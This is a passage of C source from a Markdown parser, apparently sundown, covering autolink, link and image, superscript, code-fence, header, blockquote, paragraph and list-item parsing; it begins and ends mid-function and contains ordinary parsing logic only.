&work);\n\t\t\tret = rndr->cb.autolink(ob, u_link, altype, rndr->opaque);\n\t\t\trndr_popbuf(rndr, BUFFER_SPAN);\n\t\t}\n\t\telse if (rndr->cb.raw_html_tag)\n\t\t\tret = rndr->cb.raw_html_tag(ob, &work, rndr->opaque);\n\t}\n\n\tif (!ret) return 0;\n\telse return end;\n}\n\nstatic size_t\nchar_autolink_www(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t offset, size_t size)\n{\n\tstruct buf *link, *link_url, *link_text;\n\tsize_t link_len, rewind;\n\n\tif (!rndr->cb.link || rndr->in_link_body)\n\t\treturn 0;\n\n\tlink = rndr_newbuf(rndr, BUFFER_SPAN);\n\n\tif ((link_len = sd_autolink__www(&rewind, link, data, offset, size)) > 0) {\n\t\tlink_url = rndr_newbuf(rndr, BUFFER_SPAN);\n\t\tBUFPUTSL(link_url, \"http://\");\n\t\tbufput(link_url, link->data, link->size);\n\n\t\tob->size -= rewind;\n\t\tif (rndr->cb.normal_text) {\n\t\t\tlink_text = rndr_newbuf(rndr, BUFFER_SPAN);\n\t\t\trndr->cb.normal_text(link_text, link, rndr->opaque);\n\t\t\trndr->cb.link(ob, link_url, NULL, link_text, rndr->opaque);\n\t\t\trndr_popbuf(rndr, BUFFER_SPAN);\n\t\t} else {\n\t\t\trndr->cb.link(ob, link_url, NULL, link, rndr->opaque);\n\t\t}\n\t\trndr_popbuf(rndr, BUFFER_SPAN);\n\t}\n\n\trndr_popbuf(rndr, BUFFER_SPAN);\n\treturn link_len;\n}\n\nstatic size_t\nchar_autolink_email(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t offset, size_t size)\n{\n\tstruct buf *link;\n\tsize_t link_len, rewind;\n\n\tif (!rndr->cb.autolink || rndr->in_link_body)\n\t\treturn 0;\n\n\tlink = rndr_newbuf(rndr, BUFFER_SPAN);\n\n\tif ((link_len = sd_autolink__email(&rewind, link, data, offset, size)) > 0) {\n\t\tob->size -= rewind;\n\t\trndr->cb.autolink(ob, link, MKDA_EMAIL, rndr->opaque);\n\t}\n\n\trndr_popbuf(rndr, BUFFER_SPAN);\n\treturn link_len;\n}\n\nstatic size_t\nchar_autolink_url(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t offset, size_t size)\n{\n\tstruct buf *link;\n\tsize_t link_len, rewind;\n\n\tif (!rndr->cb.autolink || rndr->in_link_body)\n\t\treturn 0;\n\n\tlink = rndr_newbuf(rndr, BUFFER_SPAN);\n\n\tif ((link_len = sd_autolink__url(&rewind, link, data, offset, size)) > 0) {\n\t\tob->size -= rewind;\n\t\trndr->cb.autolink(ob, link, MKDA_NORMAL, rndr->opaque);\n\t}\n\n\trndr_popbuf(rndr, BUFFER_SPAN);\n\treturn link_len;\n}\n\n/* char_link • '[': parsing a link or an image */\nstatic size_t\nchar_link(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t offset, size_t size)\n{\n\tint is_img = (offset && data[-1] == '!'), level;\n\tsize_t i = 1, txt_e, link_b = 0, link_e = 0, title_b = 0, title_e = 0;\n\tstruct buf *content = 0;\n\tstruct buf *link = 0;\n\tstruct buf *title = 0;\n\tstruct buf *u_link = 0;\n\tsize_t org_work_size = rndr->work_bufs[BUFFER_SPAN].size;\n\tint text_has_nl = 0, ret = 0;\n\tint in_title = 0, qtype = 0;\n\n\t/* checking whether the correct renderer exists */\n\tif ((is_img && !rndr->cb.image) || (!is_img && !rndr->cb.link))\n\t\tgoto cleanup;\n\n\t/* looking for the matching closing bracket */\n\tfor (level = 1; i < size; i++) {\n\t\tif (data[i] == '\\n')\n\t\t\ttext_has_nl = 1;\n\n\t\telse if (data[i - 1] == '\\\\')\n\t\t\tcontinue;\n\n\t\telse if (data[i] == '[')\n\t\t\tlevel++;\n\n\t\telse if (data[i] == ']') {\n\t\t\tlevel--;\n\t\t\tif (level <= 0)\n\t\t\t\tbreak;\n\t\t}\n\t}\n\n\tif (i >= size)\n\t\tgoto cleanup;\n\n\ttxt_e = i;\n\ti++;\n\n\t/* skip any amount of whitespace or newline */\n\t/* (this is much more laxist than original markdown syntax) */\n\twhile (i < size && _isspace(data[i]))\n\t\ti++;\n\n\t/* inline style link */\n\tif (i < size && data[i] == '(') {\n\t\t/* skipping initial whitespace */\n\t\ti++;\n\n\t\twhile (i < size && _isspace(data[i]))\n\t\t\ti++;\n\n\t\tlink_b = i;\n\n\t\t/* looking for link end: ' \" ) */\n\t\twhile (i < size) {\n\t\t\tif (data[i] == '\\\\') i += 2;\n\t\t\telse if (data[i] == ')') break;\n\t\t\telse if (i >= 1 && _isspace(data[i-1]) && (data[i] == '\\'' || data[i] == '\"')) break;\n\t\t\telse i++;\n\t\t}\n\n\t\tif (i >= size) goto cleanup;\n\t\tlink_e = i;\n\n\t\t/* looking for title end if present */\n\t\tif (data[i] == '\\'' || data[i] == '\"') {\n\t\t\tqtype = data[i];\n\t\t\tin_title = 1;\n\t\t\ti++;\n\t\t\ttitle_b = i;\n\n\t\t\twhile (i < size) {\n\t\t\t\tif (data[i] == '\\\\') i += 2;\n\t\t\t\telse if (data[i] == qtype) {in_title = 0; i++;}\n\t\t\t\telse if ((data[i] == ')') && !in_title) break;\n\t\t\t\telse i++;\n\t\t\t}\n\n\t\t\tif (i >= size) goto cleanup;\n\n\t\t\t/* skipping whitespaces after title */\n\t\t\ttitle_e = i - 1;\n\t\t\twhile (title_e > title_b && _isspace(data[title_e]))\n\t\t\t\ttitle_e--;\n\n\t\t\t/* checking for closing quote presence */\n\t\t\tif (data[title_e] != '\\'' &&  data[title_e] != '\"') {\n\t\t\t\ttitle_b = title_e = 0;\n\t\t\t\tlink_e = i;\n\t\t\t}\n\t\t}\n\n\t\t/* remove whitespace at the end of the link */\n\t\twhile (link_e > link_b && _isspace(data[link_e - 1]))\n\t\t\tlink_e--;\n\n\t\t/* remove optional angle brackets around the link */\n\t\tif (data[link_b] == '<') link_b++;\n\t\tif (data[link_e - 1] == '>') link_e--;\n\n\t\t/* building escaped link and title */\n\t\tif (link_e > link_b) {\n\t\t\tlink = rndr_newbuf(rndr, BUFFER_SPAN);\n\t\t\tbufput(link, data + link_b, link_e - link_b);\n\t\t}\n\n\t\tif (title_e > title_b) {\n\t\t\ttitle = rndr_newbuf(rndr, BUFFER_SPAN);\n\t\t\tbufput(title, data + title_b, title_e - title_b);\n\t\t}\n\n\t\ti++;\n\t}\n\n\t/* reference style link */\n\telse if (i < size && data[i] == '[') {\n\t\tstruct buf id = { 0, 0, 0, 0 };\n\t\tstruct link_ref *lr;\n\n\t\t/* looking for the id */\n\t\ti++;\n\t\tlink_b = i;\n\t\twhile (i < size && data[i] != ']') i++;\n\t\tif (i >= size) goto cleanup;\n\t\tlink_e = i;\n\n\t\t/* finding the link_ref */\n\t\tif (link_b == link_e) {\n\t\t\tif (text_has_nl) {\n\t\t\t\tstruct buf *b = rndr_newbuf(rndr, BUFFER_SPAN);\n\t\t\t\tsize_t j;\n\n\t\t\t\tfor (j = 1; j < txt_e; j++) {\n\t\t\t\t\tif (data[j] != '\\n')\n\t\t\t\t\t\tbufputc(b, data[j]);\n\t\t\t\t\telse if (data[j - 1] != ' ')\n\t\t\t\t\t\tbufputc(b, ' ');\n\t\t\t\t}\n\n\t\t\t\tid.data = b->data;\n\t\t\t\tid.size = b->size;\n\t\t\t} else {\n\t\t\t\tid.data = data + 1;\n\t\t\t\tid.size = txt_e - 1;\n\t\t\t}\n\t\t} else {\n\t\t\tid.data = data + link_b;\n\t\t\tid.size = link_e - link_b;\n\t\t}\n\n\t\tlr = find_link_ref(rndr->refs, id.data, id.size);\n\t\tif (!lr)\n\t\t\tgoto cleanup;\n\n\t\t/* keeping link and title from link_ref */\n\t\tlink = lr->link;\n\t\ttitle = lr->title;\n\t\ti++;\n\t}\n\n\t/* shortcut reference style link */\n\telse {\n\t\tstruct buf id = { 0, 0, 0, 0 };\n\t\tstruct link_ref *lr;\n\n\t\t/* crafting the id */\n\t\tif (text_has_nl) {\n\t\t\tstruct buf *b = rndr_newbuf(rndr, BUFFER_SPAN);\n\t\t\tsize_t j;\n\n\t\t\tfor (j = 1; j < txt_e; j++) {\n\t\t\t\tif (data[j] != '\\n')\n\t\t\t\t\tbufputc(b, data[j]);\n\t\t\t\telse if (data[j - 1] != ' ')\n\t\t\t\t\tbufputc(b, ' ');\n\t\t\t}\n\n\t\t\tid.data = b->data;\n\t\t\tid.size = b->size;\n\t\t} else {\n\t\t\tid.data = data + 1;\n\t\t\tid.size = txt_e - 1;\n\t\t}\n\n\t\t/* finding the link_ref */\n\t\tlr = find_link_ref(rndr->refs, id.data, id.size);\n\t\tif (!lr)\n\t\t\tgoto cleanup;\n\n\t\t/* keeping link and title from link_ref */\n\t\tlink = lr->link;\n\t\ttitle = lr->title;\n\n\t\t/* rewinding the whitespace */\n\t\ti = txt_e + 1;\n\t}\n\n\t/* building content: img alt is escaped, link content is parsed */\n\tif (txt_e > 1) {\n\t\tcontent = rndr_newbuf(rndr, BUFFER_SPAN);\n\t\tif (is_img) {\n\t\t\tbufput(content, data + 1, txt_e - 1);\n\t\t} else {\n\t\t\t/* disable autolinking when parsing inline the\n\t\t\t * content of a link */\n\t\t\trndr->in_link_body = 1;\n\t\t\tparse_inline(content, rndr, data + 1, txt_e - 1);\n\t\t\trndr->in_link_body = 0;\n\t\t}\n\t}\n\n\tif (link) {\n\t\tu_link = rndr_newbuf(rndr, BUFFER_SPAN);\n\t\tunscape_text(u_link, link);\n\t}\n\n\t/* calling the relevant rendering function */\n\tif (is_img) {\n\t\tif (ob->size && ob->data[ob->size - 1] == '!')\n\t\t\tob->size -= 1;\n\n\t\tret = rndr->cb.image(ob, u_link, title, content, rndr->opaque);\n\t} else {\n\t\tret = rndr->cb.link(ob, u_link, title, content, rndr->opaque);\n\t}\n\n\t/* cleanup */\ncleanup:\n\trndr->work_bufs[BUFFER_SPAN].size = (int)org_work_size;\n\treturn ret ? i : 0;\n}\n\nstatic size_t\nchar_superscript(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t offset, size_t size)\n{\n\tsize_t sup_start, sup_len;\n\tstruct buf *sup;\n\n\tif (!rndr->cb.superscript)\n\t\treturn 0;\n\n\tif (size < 2)\n\t\treturn 0;\n\n\tif (data[1] == '(') {\n\t\tsup_start = sup_len = 2;\n\n\t\twhile (sup_len < size && data[sup_len] != ')' && data[sup_len - 1] != '\\\\')\n\t\t\tsup_len++;\n\n\t\tif (sup_len == size)\n\t\t\treturn 0;\n\t} else {\n\t\tsup_start = sup_len = 1;\n\n\t\twhile (sup_len < size && !_isspace(data[sup_len]))\n\t\t\tsup_len++;\n\t}\n\n\tif (sup_len - sup_start == 0)\n\t\treturn (sup_start == 2) ? 3 : 0;\n\n\tsup = rndr_newbuf(rndr, BUFFER_SPAN);\n\tparse_inline(sup, rndr, data + sup_start, sup_len - sup_start);\n\trndr->cb.superscript(ob, sup, rndr->opaque);\n\trndr_popbuf(rndr, BUFFER_SPAN);\n\n\treturn (sup_start == 2) ? sup_len + 1 : sup_len;\n}\n\n/*********************************\n * BLOCK-LEVEL PARSING FUNCTIONS *\n *********************************/\n\n/* is_empty • returns the line length when it is empty, 0 otherwise */\nstatic size_t\nis_empty(uint8_t *data, size_t size)\n{\n\tsize_t i;\n\n\tfor (i = 0; i < size && data[i] != '\\n'; i++)\n\t\tif (data[i] != ' ')\n\t\t\treturn 0;\n\n\treturn i + 1;\n}\n\n/* is_hrule • returns whether a line is a horizontal rule */\nstatic int\nis_hrule(uint8_t *data, size_t size)\n{\n\tsize_t i = 0, n = 0;\n\tuint8_t c;\n\n\t/* skipping initial spaces */\n\tif (size < 3) return 0;\n\tif (data[0] == ' ') { i++;\n\tif (data[1] == ' ') { i++;\n\tif (data[2] == ' ') { i++; } } }\n\n\t/* looking at the hrule uint8_t */\n\tif (i + 2 >= size\n\t|| (data[i] != '*' && data[i] != '-' && data[i] != '_'))\n\t\treturn 0;\n\tc = data[i];\n\n\t/* the whole line must be the char or whitespace */\n\twhile (i < size && data[i] != '\\n') {\n\t\tif (data[i] == c) n++;\n\t\telse if (data[i] != ' ')\n\t\t\treturn 0;\n\n\t\ti++;\n\t}\n\n\treturn n >= 3;\n}\n\n/* check if a line begins with a code fence; return the\n * width of the code fence */\nstatic size_t\nprefix_codefence(uint8_t *data, size_t size)\n{\n\tsize_t i = 0, n = 0;\n\tuint8_t c;\n\n\t/* skipping initial spaces */\n\tif (size < 3) return 0;\n\tif (data[0] == ' ') { i++;\n\tif (data[1] == ' ') { i++;\n\tif (data[2] == ' ') { i++; } } }\n\n\t/* looking at the hrule uint8_t */\n\tif (i + 2 >= size || !(data[i] == '~' || data[i] == '`'))\n\t\treturn 0;\n\n\tc = data[i];\n\n\t/* the whole line must be the uint8_t or whitespace */\n\twhile (i < size && data[i] == c) {\n\t\tn++; i++;\n\t}\n\n\tif (n < 3)\n\t\treturn 0;\n\n\treturn i;\n}\n\n/* check if a line is a code fence; return its size if it is */\nstatic size_t\nis_codefence(uint8_t *data, size_t size, struct buf *syntax)\n{\n\tsize_t i = 0, syn_len = 0;\n\tuint8_t *syn_start;\n\n\ti = prefix_codefence(data, size);\n\tif (i == 0)\n\t\treturn 0;\n\n\twhile (i < size && data[i] == ' ')\n\t\ti++;\n\n\tsyn_start = data + i;\n\n\tif (i < size && data[i] == '{') {\n\t\ti++; syn_start++;\n\n\t\twhile (i < size && data[i] != '}' && data[i] != '\\n') {\n\t\t\tsyn_len++; i++;\n\t\t}\n\n\t\tif (i == size || data[i] != '}')\n\t\t\treturn 0;\n\n\t\t/* strip all whitespace at the beginning and the end\n\t\t * of the {} block */\n\t\twhile (syn_len > 0 && _isspace(syn_start[0])) {\n\t\t\tsyn_start++; syn_len--;\n\t\t}\n\n\t\twhile (syn_len > 0 && _isspace(syn_start[syn_len - 1]))\n\t\t\tsyn_len--;\n\n\t\ti++;\n\t} else {\n\t\twhile (i < size && !_isspace(data[i])) {\n\t\t\tsyn_len++; i++;\n\t\t}\n\t}\n\n\tif (syntax) {\n\t\tsyntax->data = syn_start;\n\t\tsyntax->size = syn_len;\n\t}\n\n\twhile (i < size && data[i] != '\\n') {\n\t\tif (!_isspace(data[i]))\n\t\t\treturn 0;\n\n\t\ti++;\n\t}\n\n\treturn i + 1;\n}\n\n/* is_atxheader • returns whether the line is a hash-prefixed header */\nstatic int\nis_atxheader(struct sd_markdown *rndr, uint8_t *data, size_t size)\n{\n\tif (data[0] != '#')\n\t\treturn 0;\n\n\tif (rndr->ext_flags & MKDEXT_SPACE_HEADERS) {\n\t\tsize_t level = 0;\n\n\t\twhile (level < size && level < 6 && data[level] == '#')\n\t\t\tlevel++;\n\n\t\tif (level < size && data[level] != ' ')\n\t\t\treturn 0;\n\t}\n\n\treturn 1;\n}\n\n/* is_headerline • returns whether the line is a setext-style hdr underline */\nstatic int\nis_headerline(uint8_t *data, size_t size)\n{\n\tsize_t i = 0;\n\n\t/* test of level 1 header */\n\tif (data[i] == '=') {\n\t\tfor (i = 1; i < size && data[i] == '='; i++);\n\t\twhile (i < size && data[i] == ' ') i++;\n\t\treturn (i >= size || data[i] == '\\n') ? 1 : 0; }\n\n\t/* test of level 2 header */\n\tif (data[i] == '-') {\n\t\tfor (i = 1; i < size && data[i] == '-'; i++);\n\t\twhile (i < size && data[i] == ' ') i++;\n\t\treturn (i >= size || data[i] == '\\n') ? 2 : 0; }\n\n\treturn 0;\n}\n\nstatic int\nis_next_headerline(uint8_t *data, size_t size)\n{\n\tsize_t i = 0;\n\n\twhile (i < size && data[i] != '\\n')\n\t\ti++;\n\n\tif (++i >= size)\n\t\treturn 0;\n\n\treturn is_headerline(data + i, size - i);\n}\n\n/* prefix_quote • returns blockquote prefix length */\nstatic size_t\nprefix_quote(uint8_t *data, size_t size)\n{\n\tsize_t i = 0;\n\tif (i < size && data[i] == ' ') i++;\n\tif (i < size && data[i] == ' ') i++;\n\tif (i < size && data[i] == ' ') i++;\n\n\tif (i < size && data[i] == '>') {\n\t\tif (i + 1 < size && data[i + 1] == ' ')\n\t\t\treturn i + 2;\n\n\t\treturn i + 1;\n\t}\n\n\treturn 0;\n}\n\n/* prefix_code • returns prefix length for block code*/\nstatic size_t\nprefix_code(uint8_t *data, size_t size)\n{\n\tif (size > 3 && data[0] == ' ' && data[1] == ' '\n\t\t&& data[2] == ' ' && data[3] == ' ') return 4;\n\n\treturn 0;\n}\n\n/* prefix_oli • returns ordered list item prefix */\nstatic size_t\nprefix_oli(uint8_t *data, size_t size)\n{\n\tsize_t i = 0;\n\n\tif (i < size && data[i] == ' ') i++;\n\tif (i < size && data[i] == ' ') i++;\n\tif (i < size && data[i] == ' ') i++;\n\n\tif (i >= size || data[i] < '0' || data[i] > '9')\n\t\treturn 0;\n\n\twhile (i < size && data[i] >= '0' && data[i] <= '9')\n\t\ti++;\n\n\tif (i + 1 >= size || data[i] != '.' || data[i + 1] != ' ')\n\t\treturn 0;\n\n\tif (is_next_headerline(data + i, size - i))\n\t\treturn 0;\n\n\treturn i + 2;\n}\n\n/* prefix_uli • returns ordered list item prefix */\nstatic size_t\nprefix_uli(uint8_t *data, size_t size)\n{\n\tsize_t i = 0;\n\n\tif (i < size && data[i] == ' ') i++;\n\tif (i < size && data[i] == ' ') i++;\n\tif (i < size && data[i] == ' ') i++;\n\n\tif (i + 1 >= size ||\n\t\t(data[i] != '*' && data[i] != '+' && data[i] != '-') ||\n\t\tdata[i + 1] != ' ')\n\t\treturn 0;\n\n\tif (is_next_headerline(data + i, size - i))\n\t\treturn 0;\n\n\treturn i + 2;\n}\n\n\n/* parse_block • parsing of one block, returning next uint8_t to parse */\nstatic void parse_block(struct buf *ob, struct sd_markdown *rndr,\n\t\t\tuint8_t *data, size_t size);\n\n\n/* parse_blockquote • handles parsing of a blockquote fragment */\nstatic size_t\nparse_blockquote(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t size)\n{\n\tsize_t beg, end = 0, pre, work_size = 0;\n\tuint8_t *work_data = 0;\n\tstruct buf *out = 0;\n\n\tout = rndr_newbuf(rndr, BUFFER_BLOCK);\n\tbeg = 0;\n\twhile (beg < size) {\n\t\tfor (end = beg + 1; end < size && data[end - 1] != '\\n'; end++);\n\n\t\tpre = prefix_quote(data + beg, end - beg);\n\n\t\tif (pre)\n\t\t\tbeg += pre; /* skipping prefix */\n\n\t\t/* empty line followed by non-quote line */\n\t\telse if (is_empty(data + beg, end - beg) &&\n\t\t\t\t(end >= size || (prefix_quote(data + end, size - end) == 0 &&\n\t\t\t\t!is_empty(data + end, size - end))))\n\t\t\tbreak;\n\n\t\tif (beg < end) { /* copy into the in-place working buffer */\n\t\t\t/* bufput(work, data + beg, end - beg); */\n\t\t\tif (!work_data)\n\t\t\t\twork_data = data + beg;\n\t\t\telse if (data + beg != work_data + work_size)\n\t\t\t\tmemmove(work_data + work_size, data + beg, end - beg);\n\t\t\twork_size += end - beg;\n\t\t}\n\t\tbeg = end;\n\t}\n\n\tparse_block(out, rndr, work_data, work_size);\n\tif (rndr->cb.blockquote)\n\t\trndr->cb.blockquote(ob, out, rndr->opaque);\n\trndr_popbuf(rndr, BUFFER_BLOCK);\n\treturn end;\n}\n\nstatic size_t\nparse_htmlblock(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t size, int do_render);\n\n/* parse_blockquote • handles parsing of a regular paragraph */\nstatic size_t\nparse_paragraph(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t size)\n{\n\tsize_t i = 0, end = 0;\n\tint level = 0;\n\tstruct buf work = { data, 0, 0, 0 };\n\n\twhile (i < size) {\n\t\tfor (end = i + 1; end < size && data[end - 1] != '\\n'; end++) /* empty */;\n\n\t\tif (is_empty(data + i, size - i))\n\t\t\tbreak;\n\n\t\tif ((level = is_headerline(data + i, size - i)) != 0)\n\t\t\tbreak;\n\n\t\tif (is_atxheader(rndr, data + i, size - i) ||\n\t\t\tis_hrule(data + i, size - i) ||\n\t\t\tprefix_quote(data + i, size - i)) {\n\t\t\tend = i;\n\t\t\tbreak;\n\t\t}\n\n\t\t/*\n\t\t * Early termination of a paragraph with the same logic\n\t\t * as Markdown 1.0.0. If this logic is applied, the\n\t\t * Markdown 1.0.3 test suite won't pass cleanly\n\t\t *\n\t\t * :: If the first character in a new line is not a letter,\n\t\t * let's check to see if there's some kind of block starting\n\t\t * here\n\t\t */\n\t\tif ((rndr->ext_flags & MKDEXT_LAX_SPACING) && !isalnum(data[i])) {\n\t\t\tif (prefix_oli(data + i, size - i) ||\n\t\t\t\tprefix_uli(data + i, size - i)) {\n\t\t\t\tend = i;\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\t/* see if an html block starts here */\n\t\t\tif (data[i] == '<' && rndr->cb.blockhtml &&\n\t\t\t\tparse_htmlblock(ob, rndr, data + i, size - i, 0)) {\n\t\t\t\tend = i;\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\t/* see if a code fence starts here */\n\t\t\tif ((rndr->ext_flags & MKDEXT_FENCED_CODE) != 0 &&\n\t\t\t\tis_codefence(data + i, size - i, NULL) != 0) {\n\t\t\t\tend = i;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\ti = end;\n\t}\n\n\twork.size = i;\n\twhile (work.size && data[work.size - 1] == '\\n')\n\t\twork.size--;\n\n\tif (!level) {\n\t\tstruct buf *tmp = rndr_newbuf(rndr, BUFFER_BLOCK);\n\t\tparse_inline(tmp, rndr, work.data, work.size);\n\t\tif (rndr->cb.paragraph)\n\t\t\trndr->cb.paragraph(ob, tmp, rndr->opaque);\n\t\trndr_popbuf(rndr, BUFFER_BLOCK);\n\t} else {\n\t\tstruct buf *header_work;\n\n\t\tif (work.size) {\n\t\t\tsize_t beg;\n\t\t\ti = work.size;\n\t\t\twork.size -= 1;\n\n\t\t\twhile (work.size && data[work.size] != '\\n')\n\t\t\t\twork.size -= 1;\n\n\t\t\tbeg = work.size + 1;\n\t\t\twhile (work.size && data[work.size - 1] == '\\n')\n\t\t\t\twork.size -= 1;\n\n\t\t\tif (work.size > 0) {\n\t\t\t\tstruct buf *tmp = rndr_newbuf(rndr, BUFFER_BLOCK);\n\t\t\t\tparse_inline(tmp, rndr, work.data, work.size);\n\n\t\t\t\tif (rndr->cb.paragraph)\n\t\t\t\t\trndr->cb.paragraph(ob, tmp, rndr->opaque);\n\n\t\t\t\trndr_popbuf(rndr, BUFFER_BLOCK);\n\t\t\t\twork.data += beg;\n\t\t\t\twork.size = i - beg;\n\t\t\t}\n\t\t\telse work.size = i;\n\t\t}\n\n\t\theader_work = rndr_newbuf(rndr, BUFFER_SPAN);\n\t\tparse_inline(header_work, rndr, work.data, work.size);\n\n\t\tif (rndr->cb.header)\n\t\t\trndr->cb.header(ob, header_work, (int)level, rndr->opaque);\n\n\t\trndr_popbuf(rndr, BUFFER_SPAN);\n\t}\n\n\treturn end;\n}\n\n/* parse_fencedcode • handles parsing of a block-level code fragment */\nstatic size_t\nparse_fencedcode(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t size)\n{\n\tsize_t beg, end;\n\tstruct buf *work = 0;\n\tstruct buf lang = { 0, 0, 0, 0 };\n\n\tbeg = is_codefence(data, size, &lang);\n\tif (beg == 0) return 0;\n\n\twork = rndr_newbuf(rndr, BUFFER_BLOCK);\n\n\twhile (beg < size) {\n\t\tsize_t fence_end;\n\t\tstruct buf fence_trail = { 0, 0, 0, 0 };\n\n\t\tfence_end = is_codefence(data + beg, size - beg, &fence_trail);\n\t\tif (fence_end != 0 && fence_trail.size == 0) {\n\t\t\tbeg += fence_end;\n\t\t\tbreak;\n\t\t}\n\n\t\tfor (end = beg + 1; end < size && data[end - 1] != '\\n'; end++);\n\n\t\tif (beg < end) {\n\t\t\t/* verbatim copy to the working buffer,\n\t\t\t\tescaping entities */\n\t\t\tif (is_empty(data + beg, end - beg))\n\t\t\t\tbufputc(work, '\\n');\n\t\t\telse bufput(work, data + beg, end - beg);\n\t\t}\n\t\tbeg = end;\n\t}\n\n\tif (work->size && work->data[work->size - 1] != '\\n')\n\t\tbufputc(work, '\\n');\n\n\tif (rndr->cb.blockcode)\n\t\trndr->cb.blockcode(ob, work, lang.size ? &lang : NULL, rndr->opaque);\n\n\trndr_popbuf(rndr, BUFFER_BLOCK);\n\treturn beg;\n}\n\nstatic size_t\nparse_blockcode(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t size)\n{\n\tsize_t beg, end, pre;\n\tstruct buf *work = 0;\n\n\twork = rndr_newbuf(rndr, BUFFER_BLOCK);\n\n\tbeg = 0;\n\twhile (beg < size) {\n\t\tfor (end = beg + 1; end < size && data[end - 1] != '\\n'; end++) {};\n\t\tpre = prefix_code(data + beg, end - beg);\n\n\t\tif (pre)\n\t\t\tbeg += pre; /* skipping prefix */\n\t\telse if (!is_empty(data + beg, end - beg))\n\t\t\t/* non-empty non-prefixed line breaks the pre */\n\t\t\tbreak;\n\n\t\tif (beg < end) {\n\t\t\t/* verbatim copy to the working buffer,\n\t\t\t\tescaping entities */\n\t\t\tif (is_empty(data + beg, end - beg))\n\t\t\t\tbufputc(work, '\\n');\n\t\t\telse bufput(work, data + beg, end - beg);\n\t\t}\n\t\tbeg = end;\n\t}\n\n\twhile (work->size && work->data[work->size - 1] == '\\n')\n\t\twork->size -= 1;\n\n\tbufputc(work, '\\n');\n\n\tif (rndr->cb.blockcode)\n\t\trndr->cb.blockcode(ob, work, NULL, rndr->opaque);\n\n\trndr_popbuf(rndr, BUFFER_BLOCK);\n\treturn beg;\n}\n\n/* parse_listitem • parsing of a single list item */\n/*\tassuming initial prefix is already removed */\nstatic size_t\nparse_listitem(struct buf *ob, struct sd_markdown *rndr, uint8_t *data, size_t size, int *flags)\n{\n\tstruct buf *work = 0, *inter = 0;\n\tsize_t beg = 0, end, pre, sublist = 0, orgpre = 0, i;\n\tint in_empty = 0, has_inside_empty = 0, in_fence = 0;\n\n\t/* keeping track of the first indentation prefix */\n\twhile (orgpre < 3 && orgpre < size && data[orgpre] == ' ')\n\t\torgpre++;\n\n\tbeg = prefix_uli(data, size);\n\tif (!beg)\n\t\tbeg = prefix_oli(data, size);\n\n\tif (!beg)\n\t\treturn 0;\n\n\t/* skipping to the beginning of the following line */\n\tend = beg;\n\twhile (end < size && data[end - 1] != '\\n')\n\t\tend++;\n\n\t/* getting working buffers */\n\twork = rndr_newbuf(rndr, BUFFER_SPAN);\n\tinter = rndr_newbuf(rndr, BUFFER_SPAN);\n\n\t/* putting the first line into the working buffer */\n\tbufput(work, data + beg, end - beg);\n\tbeg = end;\n\n\t/* process the following lines */\n\twhile (beg < size) {\n\t\tsize_t has_next_uli = 0, has_next_oli = 0;\n\n\t\tend++;\n\n\t\twhile (end < size && data[end - 1] != '\\n')\n\t\t\tend++;\n\n\t\t/* process an empty line */\n\t\tif (is_empty(data + beg, end - beg)) {\n\t\t\tin_empty = 1;\n\t\t\tbeg = end;\n\t\t\tcontinue;\n\t\t}\n\n\t\t/* calculating the indentation */\n\t\ti = 0;\n\t\twhile (i < 4 && beg + i < end && data[beg + i] == ' ')\n\t\t\ti++;\n\n\t\tpre = i;\n\n\t\tif (rndr->ext_flags & MKDEXT_FENCED_CODE) {\n\t\t\tif (is_codefence(data + beg + i, end - beg - i, NULL) != 0)\n\t\t\t\tin_fence = !in_fence;\n\t\t}\n\n\t\t/* Only check for new list items if we are **not** inside\n\t\t * a fenced code block */\n\t\tif (!in_fence) {\n\t\t\thas_next_uli = prefix_uli(data + beg + i, end - beg - i);\n\t\t\thas_next_oli = prefix_oli(data + beg + i, end - beg - i);\n\t\t}\n\n\t\t/* checking for ul/ol switch */\n\t\tif (in_empty && (\n\t\t\t((*flags & MKD_LIST_ORDERED) && has_next_uli) ||\n\t\t\t(!(*flags & MKD_LIST_ORDERED) && has_next_oli))){\n\t\t\t*flags |= MKD_LI_END;\n\t\t\tbreak; /* the following item must have same list type */\n\t\t}\n\n\t\t/* checking for a new item */\n\t\tif ((has_next_uli && !is_hrule(data + beg + i, end - beg - i)) || has_next_oli) {\n\t\t\tif (in_empty)\n\t\t\t\thas_inside_empty = 1;\n\n\t\t\tif (pre == orgpre) /* the following item must have */\n\t\t\t\tbreak;             /* the same indentation */\n\n\t\t\tif (!sublist)\n\t\t\t\tsublist = work->size;\n\t\t}\n\t\t/* joining only indented stuff after empty lines;\n\t\t * note that now we only require 1 space of indentation\n\t\t * to continue a list */\n\t\telse if (in_empty && pre == 0) {\n\t\t\t*flags |= MKD_LI_END;\n\t\t\tbreak;\n\t\t}\n\t\telse if (in_empty) {\n\t\t\tbufputc(work, '\\n');\n\t\t\thas_inside_empty = 1;\n\t\t}\n\n\t\tin_empty = 0;\n\n\t\t/* adding the line without prefix into the working buffer */\n\t\tbufput(work, data + beg + i, end - beg - i);\n\t\tbeg = end;\n\t}\n\n\t/* render of li contents */\n\tif (has_inside_empty)\n\t\t*flags |= MKD_LI_BLOCK;\n\n\tif (*flags & MKD_LI_BLOCK) {\n\t\t/* intermediate render of block li */\n\t\tif (sublist && sublist < work->size) {\n\t\t\tparse_block(inter, rndr, work->data, sublist);\n\t\t\tparse_block(inter, rndr, work->data + sublist, work->size - sublist);\n\t\t}\n\t\telse\n\t\t\tparse_block(inter, rndr, work->data, work->size);\n\t} else {\n\t\t/* intermediate render of inline li */\n\t\tif (sublist && sublist < work->size) {\n\t\t\tparse_inline(inter, rndr, work->data, sublist);\n\t\t\tparse_block(inter, rndr, work->data + sublist, work->size - sublist);\n\t\t}\n\t\telse\n\t\t\tparse_inline(inter, rndr, work->data, work->size);\n\t}\n\n\t/* render of li itself */\n\tif (rndr->cb.listitem)\n\t\trndr->cb.listitem(ob, 